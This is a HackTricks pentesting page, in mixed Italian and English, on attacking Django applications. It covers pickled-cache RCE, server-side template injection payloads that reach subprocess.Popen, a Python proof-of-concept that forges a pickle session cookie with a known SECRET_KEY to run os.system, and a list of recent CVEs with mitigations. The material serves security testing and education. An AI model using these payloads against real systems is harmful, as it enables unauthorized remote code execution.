Django

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cache Manipulation to RCE

Django's default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. Se un attaccante può ottenere accesso in scrittura alla cache, può scalare questa vulnerabilità a RCE sul server sottostante.

La cache di Django è memorizzata in uno di quattro posti: Redis, memory, files, o un database. La cache memorizzata in un server Redis o in un database sono i vettori di attacco più probabili (Redis injection e SQL injection), ma un attaccante potrebbe anche utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno classificato questo come un non-problema. È importante notare che la cartella dei file della cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI → RCE.

Rilevamento

  1. Cerca chiamate dinamiche a Template() / Engine.from_string() / render_to_string() che includono qualsiasi dato di richiesta non sanificato.
  2. Invia un payload basato sul tempo o aritmetico:
django
{{7*7}}

Se l'output renderizzato contiene 49, l'input viene compilato dal motore di template.

Primitive per RCE

Django blocca l'accesso diretto a __import__, ma il grafo degli oggetti Python è raggiungibile:

django
{{''.__class__.mro()[1].__subclasses__()}}

Trova l'indice di subprocess.Popen (≈400–500 a seconda della build di Python) ed esegui comandi arbitrari:

django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Un gadget universale più sicuro è iterare finché cls.__name__ == 'Popen'.

Lo stesso gadget funziona per Debug Toolbar o le funzionalità di rendering dei template di Django-CMS che gestiscono male l'input dell'utente.


Vedi anche: ReportLab/xhtml2pdf PDF export RCE

Le applicazioni basate su Django comunemente integrano xhtml2pdf/ReportLab per esportare le views in PDF. Quando HTML controllato dall'utente entra nel processo di generazione del PDF, rl_safe_eval può valutare espressioni all'interno delle triple parentesi [[[ ... ]]] permettendo l'esecuzione di codice (CVE-2023-33733). Dettagli, payload e mitigazioni:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


Se l'impostazione SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' è abilitata (o è presente un serializer custom che deserializza pickle), Django decrypts and unpickles il cookie di sessione prima di chiamare qualsiasi codice della view. Pertanto, possedere una chiave di firma valida (di solito il SECRET_KEY del progetto) è sufficiente per ottenere esecuzione di codice remota immediata.

Requisiti per l'exploit

  • Il server utilizza PickleSerializer.
  • L'attaccante conosce / può indovinare settings.SECRET_KEY (leaks via GitHub, .env, pagine di errore, ecc.).

Proof-of-Concept

python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Invia il cookie risultante, e il payload viene eseguito con i permessi del worker WSGI.

Mitigazioni: Mantieni il JSONSerializer di default, ruota il SECRET_KEY e configura SESSION_COOKIE_HTTPONLY.


Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check

  • CVE-2025-48432Log Injection via unescaped request.path (fixato il 4 giugno 2025). Permette agli attaccanti di introdurre newline/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). Crea chiavi JSON per uscire dall'escaping e eseguire SQL arbitrario. Corretto in 4.2.15 / 5.0.8.

Esegui sempre il fingerprint della versione esatta del framework tramite la pagina di errore X-Frame-Options o l'hash di /static/admin/css/base.css e testa quanto sopra dove applicabile.


References

  • Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 giugno 2025.
  • OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 agosto 2024.
  • 0xdf: University (HTB) – Sfruttamento di xhtml2pdf/ReportLab CVE-2023-33733 per ottenere RCE e pivotare in AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks